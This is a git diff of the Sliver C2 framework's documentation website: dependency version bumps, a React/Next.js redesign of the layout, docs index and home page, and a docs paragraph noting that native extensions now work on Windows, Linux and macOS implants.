@@ -7707,26 +7707,26 @@
|
||||
}
|
||||
},
|
||||
"node_modules/mermaid": {
|
||||
"version": "11.15.0",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.15.0.tgz",
|
||||
"integrity": "sha512-pTMbcf3rWdtLiYGpmoTjHEpeY8seiy6sR+9nD7LOs8KfUbHE4lOUAprTRqRAcWSQ6MQpdX+YEsxShtGsINtPtw==",
|
||||
"version": "11.16.1",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.16.1.tgz",
|
||||
"integrity": "sha512-TQsq6u22fAn3rek5VOubrhKPo1g5hwC3FXUN9hiyupTckcYiGuuKGkNQrKYwGJkXUxZdojwRG46gsSCFZMDp4g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@braintree/sanitize-url": "^7.1.1",
|
||||
"@braintree/sanitize-url": "^7.1.2",
|
||||
"@iconify/utils": "^3.0.2",
|
||||
"@mermaid-js/parser": "^1.1.1",
|
||||
"@mermaid-js/parser": "^1.2.0",
|
||||
"@types/d3": "^7.4.3",
|
||||
"@upsetjs/venn.js": "^2.0.0",
|
||||
"cytoscape": "^3.33.1",
|
||||
"cytoscape": "^3.33.3",
|
||||
"cytoscape-cose-bilkent": "^4.1.0",
|
||||
"cytoscape-fcose": "^2.2.0",
|
||||
"d3": "^7.9.0",
|
||||
"d3-sankey": "^0.12.3",
|
||||
"dagre-d3-es": "7.0.14",
|
||||
"dayjs": "^1.11.19",
|
||||
"dompurify": "^3.3.1",
|
||||
"dayjs": "^1.11.20",
|
||||
"dompurify": "^3.3.3",
|
||||
"es-toolkit": "^1.45.1",
|
||||
"katex": "^0.16.25",
|
||||
"katex": "^0.16.45",
|
||||
"khroma": "^2.1.0",
|
||||
"marked": "^16.3.0",
|
||||
"roughjs": "^4.6.6",
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
|
||||
@@ -8,6 +8,7 @@ import { fetchDocs as fetchDocsContent, fetchTutorials as fetchTutorialsContent
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { RouterProvider } from "@heroui/react";
|
||||
import {
|
||||
HydrationBoundary,
|
||||
QueryClient,
|
||||
@@ -15,9 +16,19 @@ import {
|
||||
} from "@tanstack/react-query";
|
||||
import { ThemeProvider as NextThemesProvider } from "next-themes";
|
||||
import type { AppProps } from "next/app";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
export default function App({ Component, pageProps }: AppProps) {
|
||||
const router = useRouter();
|
||||
|
||||
const navigate = React.useCallback(
|
||||
(path: string) => {
|
||||
void router.push(path);
|
||||
},
|
||||
[router],
|
||||
);
|
||||
|
||||
// Initialize search
|
||||
const [search] = React.useState(() => new SearchCtx());
|
||||
|
||||
@@ -101,54 +112,50 @@ export default function App({ Component, pageProps }: AppProps) {
|
||||
>
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<HydrationBoundary state={pageProps.dehydratedState}>
|
||||
<SearchContext.Provider value={search}>
|
||||
<Navbar />
|
||||
<Component {...pageProps} />
|
||||
<div className="mb-16 md:mb-20"></div>
|
||||
<footer className="z-20 w-full border-t border-separator bg-surface/80 px-3 py-4 text-center shadow backdrop-blur-md dark:bg-black/75 md:fixed md:bottom-0 md:left-0 md:right-0 md:flex md:items-center md:justify-between md:px-6 md:py-4">
|
||||
<div className="flex flex-col items-center gap-2 text-xs leading-snug text-muted sm:text-sm md:flex-row md:items-center md:gap-3 md:text-left">
|
||||
<span>
|
||||
© {new Date().getFullYear()}
|
||||
<a
|
||||
href="https://bishopfox.com/"
|
||||
className="hover:underline"
|
||||
rel="noreferrer"
|
||||
target="_blank"
|
||||
>
|
||||
Bishop Fox
|
||||
</a>
|
||||
</span>
|
||||
<span className="hidden md:inline" aria-hidden="true">
|
||||
·
|
||||
</span>
|
||||
<span className="max-w-xs md:max-w-none">
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/pulls"
|
||||
rel="noreferrer"
|
||||
className="hover:underline"
|
||||
target="_blank"
|
||||
>
|
||||
Help improve this documentation
|
||||
<span className="ml-1 inline-block">
|
||||
<FontAwesomeIcon icon={faExternalLink} />
|
||||
<RouterProvider navigate={navigate}>
|
||||
<SearchContext.Provider value={search}>
|
||||
<div className="flex min-h-dvh flex-col">
|
||||
<Navbar />
|
||||
<main className="sliver-page-content flex-1">
|
||||
<Component {...pageProps} />
|
||||
</main>
|
||||
<footer className="sliver-fixed-footer fixed inset-x-0 bottom-0 z-30 border-t border-separator/70 bg-background/70 backdrop-blur-xl">
|
||||
<div className="mx-auto flex min-h-[var(--sliver-footer-height)] w-full max-w-7xl flex-col items-center justify-center gap-1.5 px-4 py-3 text-center text-sm text-muted sm:px-6 md:flex-row md:justify-between md:text-left lg:px-8">
|
||||
<span>
|
||||
© {new Date().getFullYear()} {" "}
|
||||
<a
|
||||
href="https://bishopfox.com/"
|
||||
className="font-medium text-foreground no-underline hover:text-accent"
|
||||
rel="noreferrer"
|
||||
target="_blank"
|
||||
>
|
||||
Bishop Fox
|
||||
</a>
|
||||
</span>
|
||||
</a>
|
||||
</span>
|
||||
<div className="flex flex-wrap items-center justify-center gap-x-5 gap-y-2">
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/pulls"
|
||||
rel="noreferrer"
|
||||
className="inline-flex items-center gap-1.5 no-underline hover:text-foreground"
|
||||
target="_blank"
|
||||
>
|
||||
Improve these docs
|
||||
<FontAwesomeIcon className="text-xs" icon={faExternalLink} />
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="no-underline hover:text-foreground"
|
||||
>
|
||||
GPLv3
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
</div>
|
||||
<ul className="mt-3 flex flex-wrap items-center justify-center gap-3 text-xs font-medium text-muted md:mt-0 md:gap-6 md:text-sm">
|
||||
<li>
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="hover:underline"
|
||||
>
|
||||
GPLv3 License
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</footer>
|
||||
</SearchContext.Provider>
|
||||
</SearchContext.Provider>
|
||||
</RouterProvider>
|
||||
</HydrationBoundary>
|
||||
</QueryClientProvider>
|
||||
</NextThemesProvider>
|
||||
|
||||
@@ -3,14 +3,18 @@ import LoadingState from "@/components/loading-state";
|
||||
import { Docs } from "@/util/docs";
|
||||
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
|
||||
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
|
||||
import { faSearch } from "@fortawesome/free-solid-svg-icons";
|
||||
import {
|
||||
faBookOpen,
|
||||
faChevronRight,
|
||||
faSearch,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Button,
|
||||
Card,
|
||||
ListBox,
|
||||
ScrollShadow,
|
||||
SearchField,
|
||||
Separator,
|
||||
} from "@heroui/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import Fuse from "fuse.js";
|
||||
@@ -20,6 +24,15 @@ import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
const featuredDocNames = [
|
||||
"Getting Started",
|
||||
"Compile from Source",
|
||||
"Architecture",
|
||||
"Armory",
|
||||
"Stagers",
|
||||
"Troubleshooting",
|
||||
];
|
||||
|
||||
const DocsIndexPage: NextPage = () => {
|
||||
const router = useRouter();
|
||||
|
||||
@@ -70,13 +83,20 @@ const DocsIndexPage: NextPage = () => {
|
||||
}, [docs, name, visibleDocs]);
|
||||
|
||||
const listboxClasses =
|
||||
"p-0 gap-0 divide-y divide-separator bg-surface overflow-visible rounded-lg shadow-sm";
|
||||
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
|
||||
|
||||
const featuredDocs = React.useMemo(() => {
|
||||
return featuredDocNames
|
||||
.map((featuredName) => docs?.docs.find((doc) => doc.name === featuredName))
|
||||
.filter((doc) => doc !== undefined);
|
||||
}, [docs]);
|
||||
|
||||
const renderFilterInput = (className?: string) => (
|
||||
<SearchField
|
||||
aria-label="Filter documents"
|
||||
className={className}
|
||||
fullWidth
|
||||
variant="secondary"
|
||||
value={filterValue}
|
||||
onChange={setFilterValue}
|
||||
>
|
||||
@@ -99,87 +119,144 @@ const DocsIndexPage: NextPage = () => {
|
||||
return (
|
||||
<>
|
||||
<Head>
|
||||
<title>Sliver Docs: {name}</title>
|
||||
<title>{name ? `${name} · Sliver Docs` : "Sliver Documentation"}</title>
|
||||
</Head>
|
||||
<div className="px-4 pt-4 lg:hidden">
|
||||
<label
|
||||
htmlFor="docs-mobile-selector"
|
||||
className="block text-sm font-medium text-foreground"
|
||||
>
|
||||
Select a document
|
||||
</label>
|
||||
<div className="mt-2">{renderFilterInput()}</div>
|
||||
<select
|
||||
id="docs-mobile-selector"
|
||||
className="mt-3 w-full rounded-lg border border-separator bg-surface p-2 text-sm"
|
||||
value={name}
|
||||
onChange={(event) => {
|
||||
const selectedName = event.target.value;
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: selectedName ? { name: selectedName } : undefined,
|
||||
});
|
||||
}}
|
||||
>
|
||||
<option value="">Browse documents…</option>
|
||||
{mobileDocs.map((doc) => (
|
||||
<option key={doc.name} value={doc.name}>
|
||||
{doc.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
|
||||
<aside className="hidden lg:block lg:col-span-3">
|
||||
<div className="sticky top-16 ml-4 flex flex-col gap-3">
|
||||
{renderFilterInput("mt-2")}
|
||||
<ScrollShadow className="max-h-[calc(100vh-15rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-lg">
|
||||
<ListBox
|
||||
aria-label="Toolbox Menu"
|
||||
className={listboxClasses}
|
||||
onAction={(key) => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: String(key) },
|
||||
});
|
||||
}}
|
||||
>
|
||||
{visibleDocs.map((doc) => (
|
||||
<ListBox.Item
|
||||
key={doc.name}
|
||||
id={doc.name}
|
||||
textValue={doc.name}
|
||||
className="h-12 rounded-none px-3 first:rounded-t-lg last:rounded-b-lg"
|
||||
>
|
||||
{doc.name}
|
||||
</ListBox.Item>
|
||||
))}
|
||||
</ListBox>
|
||||
</ScrollShadow>
|
||||
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
|
||||
<div className="mb-8 lg:hidden">
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
|
||||
<FontAwesomeIcon icon={faBookOpen} />
|
||||
</span>
|
||||
<div>
|
||||
<p className="text-sm font-medium text-foreground">Documentation</p>
|
||||
<p className="text-xs text-muted">Browse the reference library</p>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
|
||||
{name !== "" ? (
|
||||
<Card className="mt-2">
|
||||
<Card.Header>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</Card.Header>
|
||||
<Separator />
|
||||
<Card.Content>
|
||||
<div className="mt-5">{renderFilterInput()}</div>
|
||||
<label
|
||||
htmlFor="docs-mobile-selector"
|
||||
className="mt-4 block text-sm font-medium text-foreground"
|
||||
>
|
||||
Document
|
||||
</label>
|
||||
<select
|
||||
id="docs-mobile-selector"
|
||||
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
|
||||
value={name}
|
||||
onChange={(event) => {
|
||||
const selectedName = event.target.value;
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: selectedName ? { name: selectedName } : undefined,
|
||||
});
|
||||
}}
|
||||
>
|
||||
<option value="">Browse documents…</option>
|
||||
{mobileDocs.map((doc) => (
|
||||
<option key={doc.name} value={doc.name}>
|
||||
{doc.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
|
||||
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
|
||||
<div className="flex h-full min-h-0 flex-col gap-5">
|
||||
<div className="flex items-center gap-3 px-1">
|
||||
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
|
||||
<FontAwesomeIcon icon={faBookOpen} />
|
||||
</span>
|
||||
<div>
|
||||
<p className="text-sm font-medium text-foreground">Documentation</p>
|
||||
<p className="text-xs text-muted">{docs.docs.length} articles</p>
|
||||
</div>
|
||||
</div>
|
||||
{renderFilterInput()}
|
||||
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
|
||||
<ListBox
|
||||
aria-label="Documentation"
|
||||
className={listboxClasses}
|
||||
selectedKeys={name ? [name] : []}
|
||||
selectionMode="single"
|
||||
>
|
||||
{visibleDocs.map((doc) => (
|
||||
<ListBox.Item
|
||||
key={doc.name}
|
||||
id={doc.name}
|
||||
href={`/docs/?name=${encodeURIComponent(doc.name)}`}
|
||||
textValue={doc.name}
|
||||
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
|
||||
doc.name === name
|
||||
? "bg-surface font-medium text-foreground shadow-surface"
|
||||
: "text-muted"
|
||||
}`}
|
||||
>
|
||||
{doc.name}
|
||||
</ListBox.Item>
|
||||
))}
|
||||
</ListBox>
|
||||
</ScrollShadow>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<div
|
||||
key={name || "documentation-overview"}
|
||||
className="min-w-0 pb-16 lg:pr-4"
|
||||
>
|
||||
{name !== "" ? (
|
||||
<article className="mx-auto w-full max-w-4xl">
|
||||
<header className="mb-8 border-b border-separator/70 pb-8">
|
||||
<p className="text-sm font-medium text-accent">Reference</p>
|
||||
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
|
||||
{name}
|
||||
</h1>
|
||||
</header>
|
||||
<MarkdownViewer
|
||||
key={name}
|
||||
markdown={markdown || ""}
|
||||
demoteTopLevelHeading
|
||||
/>
|
||||
</Card.Content>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="mt-8 text-center text-2xl text-foreground/90">
|
||||
Welcome to the Sliver Wiki!
|
||||
<div className="mt-2 text-xl text-muted">
|
||||
Please select a document
|
||||
</article>
|
||||
) : (
|
||||
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
|
||||
<h1 className="text-sm font-medium text-accent">
|
||||
Sliver reference
|
||||
</h1>
|
||||
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
|
||||
Browse configuration, transports, extensions, payloads, and
|
||||
troubleshooting guidance for the Sliver framework.
|
||||
</p>
|
||||
|
||||
<div className="mt-10 grid gap-4 sm:grid-cols-2">
|
||||
{featuredDocs.map((doc) => (
|
||||
<Card key={doc.name} className="h-full">
|
||||
<Card.Header>
|
||||
<Card.Title>{doc.name}</Card.Title>
|
||||
<Card.Description>
|
||||
Open this topic in the Sliver reference.
|
||||
</Card.Description>
|
||||
</Card.Header>
|
||||
<Card.Footer className="mt-auto">
|
||||
<Button
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: doc.name },
|
||||
});
|
||||
}}
|
||||
>
|
||||
Open article
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</Card.Footer>
|
||||
</Card>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
|
||||
@@ -168,6 +168,8 @@ As the alias support relies on Sliver side loading capabilities, please make sur
|
||||
|
||||
## Extensions
|
||||
|
||||
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
|
||||
Native extensions are supported by Windows implants (`386`, `amd64`, and `arm64`), Linux implants (`386`, `amd64`, and `arm64`), and macOS implants (`amd64` and `arm64`). Each manifest must include a platform-native shared library for every target it supports: `.dll` on Windows, `.so` on Linux, and `.dylib` on macOS.
|
||||
|
||||
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
|
||||
|
||||
Native exports use the same Sliver extension ABI on every supported operating system. The export receives the argument buffer, its size, and a callback used to return output. The optional `init` export in the extension manifest is called once after the library is loaded and before any command export is invoked.
|
||||
+190
-122
@@ -1,144 +1,212 @@
|
||||
import AsciinemaPlayer from "@/components/asciinema";
|
||||
import { SliversIcon } from "@/components/icons/slivers";
|
||||
import TutorialCard from "@/components/tutorial-card";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faDownload, faExternalLink } from "@fortawesome/free-solid-svg-icons";
|
||||
import {
|
||||
faArrowUpRightFromSquare,
|
||||
faDownload,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { Button, Card, Separator } from "@heroui/react";
|
||||
import { useTheme } from "next-themes";
|
||||
import { Button, Card, buttonVariants } from "@heroui/react";
|
||||
import Head from "next/head";
|
||||
import Link from "next/link";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
export default function Home() {
|
||||
const router = useRouter();
|
||||
const { resolvedTheme } = useTheme();
|
||||
|
||||
const isDarkTheme = React.useMemo(() => {
|
||||
return (resolvedTheme || Themes.DARK) !== Themes.LIGHT;
|
||||
}, [resolvedTheme]);
|
||||
|
||||
return (
|
||||
<div className="mt-6 flex flex-col gap-6 px-4 sm:px-6 lg:grid lg:grid-cols-12 lg:px-12">
|
||||
<div className="lg:col-span-6">
|
||||
<div className="w-full overflow-hidden rounded-xl border border-separator bg-surface shadow-sm">
|
||||
<div className="w-full overflow-x-auto lg:overflow-visible">
|
||||
<AsciinemaPlayer
|
||||
src="/asciinema/intro.cast"
|
||||
rows="18"
|
||||
cols="75"
|
||||
idleTimeLimit={60}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="lg:col-span-6 lg:ml-2">
|
||||
<Card className="mx-auto max-w-3xl lg:mx-0">
|
||||
<Card.Header>
|
||||
<div className="flex items-center">
|
||||
<SliversIcon className="mr-2" height={28} />
|
||||
<span className="text-2xl">Sliver Command & Control</span>
|
||||
<>
|
||||
<Head>
|
||||
<title>Sliver C2 Documentation</title>
|
||||
<meta
|
||||
name="description"
|
||||
content="Documentation, tutorials, and community resources for the Sliver command and control framework."
|
||||
/>
|
||||
</Head>
|
||||
|
||||
<div className="relative overflow-hidden">
|
||||
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-[34rem] opacity-55" />
|
||||
|
||||
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-12 lg:px-8 lg:pt-16">
|
||||
<section className="grid min-w-0 grid-cols-1 items-stretch gap-6 lg:grid-cols-12">
|
||||
<div className="min-w-0 lg:col-span-7">
|
||||
<Card className="relative h-full min-w-0 gap-0 overflow-hidden rounded-3xl bg-black p-0 shadow-surface">
|
||||
<div className="absolute right-3 top-3 z-10 max-w-[calc(100%_-_1.5rem)]">
|
||||
<Link
|
||||
href="/tutorials"
|
||||
aria-label="Browse Sliver tutorials"
|
||||
className="inline-flex min-w-0 cursor-pointer items-center gap-2.5 rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-white no-underline shadow-lg outline-none backdrop-blur-xl hover:bg-black/70 focus-visible:ring-2 focus-visible:ring-white/70"
|
||||
>
|
||||
<span className="flex size-7 shrink-0 items-center justify-center rounded-lg bg-white/10 text-white/90">
|
||||
<SliversIcon height={16} />
|
||||
</span>
|
||||
<div className="min-w-0">
|
||||
<p className="truncate text-xs font-semibold">
|
||||
Sliver operator console
|
||||
</p>
|
||||
<p className="truncate text-[11px] text-white/60">
|
||||
Interactive command tour
|
||||
</p>
|
||||
</div>
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="sliver-terminal-frame min-h-[20rem] flex-1 overflow-x-auto bg-[#111315] sm:min-h-[24rem]">
|
||||
<AsciinemaPlayer
|
||||
className="sliver-asciinema-bottom-aligned h-full w-full sm:min-w-[35rem]"
|
||||
src="/asciinema/intro.cast"
|
||||
fit="width"
|
||||
hideControls
|
||||
rows="18"
|
||||
cols="75"
|
||||
idleTimeLimit={60}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
</Card.Header>
|
||||
<Separator />
|
||||
<Card.Content>
|
||||
<p className={isDarkTheme ? "prose dark:prose-invert" : "prose prose-slate"}>
|
||||
Sliver is a powerful command and control (C2) framework designed
|
||||
to provide advanced capabilities for covertly managing and
|
||||
controlling remote systems. With Sliver, security professionals,
|
||||
red teams, and penetration testers can easily establish a secure
|
||||
and reliable communication channel over Mutual TLS, HTTP(S), DNS,
|
||||
or Wireguard with target machines. Enabling them to execute
|
||||
commands, gather information, and perform various
|
||||
post-exploitation activities. The framework offers a user-friendly
|
||||
console interface, extensive functionality, and support for
|
||||
multiple operating systems as well as multiple CPU architectures,
|
||||
making it an indispensable tool for conducting comprehensive
|
||||
offensive security operations.
|
||||
</p>
|
||||
<div className="mt-4 flex w-full gap-3">
|
||||
|
||||
<Card className="h-full bg-surface/80 shadow-surface backdrop-blur-2xl lg:col-span-5">
|
||||
<Card.Header className="pb-3">
|
||||
<div className="min-w-0">
|
||||
<p className="text-sm font-medium text-accent">
|
||||
Operator documentation
|
||||
</p>
|
||||
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
|
||||
Sliver Command & Control
|
||||
</h1>
|
||||
</div>
|
||||
</Card.Header>
|
||||
|
||||
<Card.Content className="pt-2">
|
||||
<p className="text-pretty text-base leading-7 text-muted">
|
||||
Sliver is a cross-platform command and control framework for
|
||||
professional red teams. Operate over mTLS, WireGuard, HTTP(S),
|
||||
and DNS from one console, with broad operating-system and CPU
|
||||
architecture support.
|
||||
</p>
|
||||
<p className="mt-4 text-sm leading-6 text-muted">
|
||||
Start with the operator guide, download the latest release, or
|
||||
extend your workflow with community packages from the Armory.
|
||||
</p>
|
||||
</Card.Content>
|
||||
|
||||
<Card.Footer className="mt-auto flex-col items-stretch gap-3 pt-5">
|
||||
<div className="grid grid-cols-1 gap-3 sm:grid-cols-2">
|
||||
<Button
|
||||
fullWidth
|
||||
variant="primary"
|
||||
onPress={() =>
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Getting Started" },
|
||||
})
|
||||
}
|
||||
>
|
||||
Get started
|
||||
</Button>
|
||||
<Button
|
||||
className="[--button-bg-hover:var(--color-purple-700)] [--button-bg-pressed:var(--color-purple-700)] [--button-bg:var(--color-purple-600)] [--button-fg:var(--color-white)]"
|
||||
fullWidth
|
||||
variant="tertiary"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://github.com/BishopFox/sliver/releases/latest",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faDownload} />
|
||||
Latest release
|
||||
</Button>
|
||||
</div>
|
||||
<a
|
||||
className={buttonVariants({
|
||||
fullWidth: true,
|
||||
variant: "secondary",
|
||||
})}
|
||||
href="https://github.com/sliverarmory"
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
>
|
||||
Browse the Armory
|
||||
<FontAwesomeIcon
|
||||
className="text-xs"
|
||||
icon={faArrowUpRightFromSquare}
|
||||
/>
|
||||
</a>
|
||||
</Card.Footer>
|
||||
</Card>
|
||||
</section>
|
||||
|
||||
<section
|
||||
aria-labelledby="quick-guides-heading"
|
||||
className="mt-12 border-t border-separator/70 pt-10"
|
||||
>
|
||||
<div className="flex flex-col gap-3 sm:flex-row sm:items-end sm:justify-between">
|
||||
<div>
|
||||
<h2
|
||||
id="quick-guides-heading"
|
||||
className="text-sm font-medium text-accent"
|
||||
>
|
||||
Quick guides
|
||||
</h2>
|
||||
<blockquote className="mt-1 max-w-3xl text-xl font-medium italic leading-snug tracking-tight text-foreground sm:text-2xl">
|
||||
Bred as living shields, these slivers have proven unruly—they
|
||||
know they cannot be caught.
|
||||
</blockquote>
|
||||
</div>
|
||||
<Button
|
||||
className="flex-1"
|
||||
variant="primary"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://github.com/BishopFox/sliver/releases/latest",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faDownload} />
|
||||
Download Latest Release
|
||||
</Button>
|
||||
<Button
|
||||
className="sliver-armory-ghost flex-1"
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://github.com/sliverarmory",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
onPress={() => router.push("/tutorials")}
|
||||
>
|
||||
Visit the Armory
|
||||
<FontAwesomeIcon icon={faExternalLink} />
|
||||
Browse all tutorials
|
||||
</Button>
|
||||
</div>
|
||||
</Card.Content>
|
||||
</Card>
|
||||
</div>
|
||||
|
||||
<div className="col-span-12 mt-8">
|
||||
<Separator />
|
||||
</div>
|
||||
<div className="mt-6 grid min-w-0 grid-cols-1 gap-5 xl:grid-cols-2">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="Install Sliver and open your first operator workflow."
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
hideControls
|
||||
showButton={true}
|
||||
buttonText="Read guide"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Getting Started" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="col-span-12 mt-8">
|
||||
<div className="grid gap-4 sm:grid-cols-2 lg:grid-cols-9">
|
||||
<div className="sm:col-span-1 lg:col-span-3">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="A quick start guide to get you up and running"
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Getting Started" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="sm:col-span-1 lg:col-span-3">
|
||||
<TutorialCard
|
||||
name="Compile From Source"
|
||||
description="How to compile Sliver from source"
|
||||
asciiCast="/asciinema/compile-from-source.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Compile from Source" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
<TutorialCard
|
||||
name="Compile from Source"
|
||||
description="Build a development copy and understand the toolchain."
|
||||
asciiCast="/asciinema/compile-from-source.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
hideControls
|
||||
showButton={true}
|
||||
buttonText="Read guide"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Compile from Source" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -1,66 +1,165 @@
|
||||
import MarkdownViewer from "@/components/markdown";
|
||||
import { useSearchContext } from "@/util/search-context";
|
||||
import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import LoadingState from "@/components/loading-state";
|
||||
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
|
||||
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
|
||||
import { SearchCtx } from "@/util/search-context";
|
||||
import {
|
||||
faChevronRight,
|
||||
faMagnifyingGlass,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { Button, Card, Separator } from "@heroui/react";
|
||||
import { Button, Card, SearchField } from "@heroui/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { NextPage } from "next";
|
||||
import Head from "next/head";
|
||||
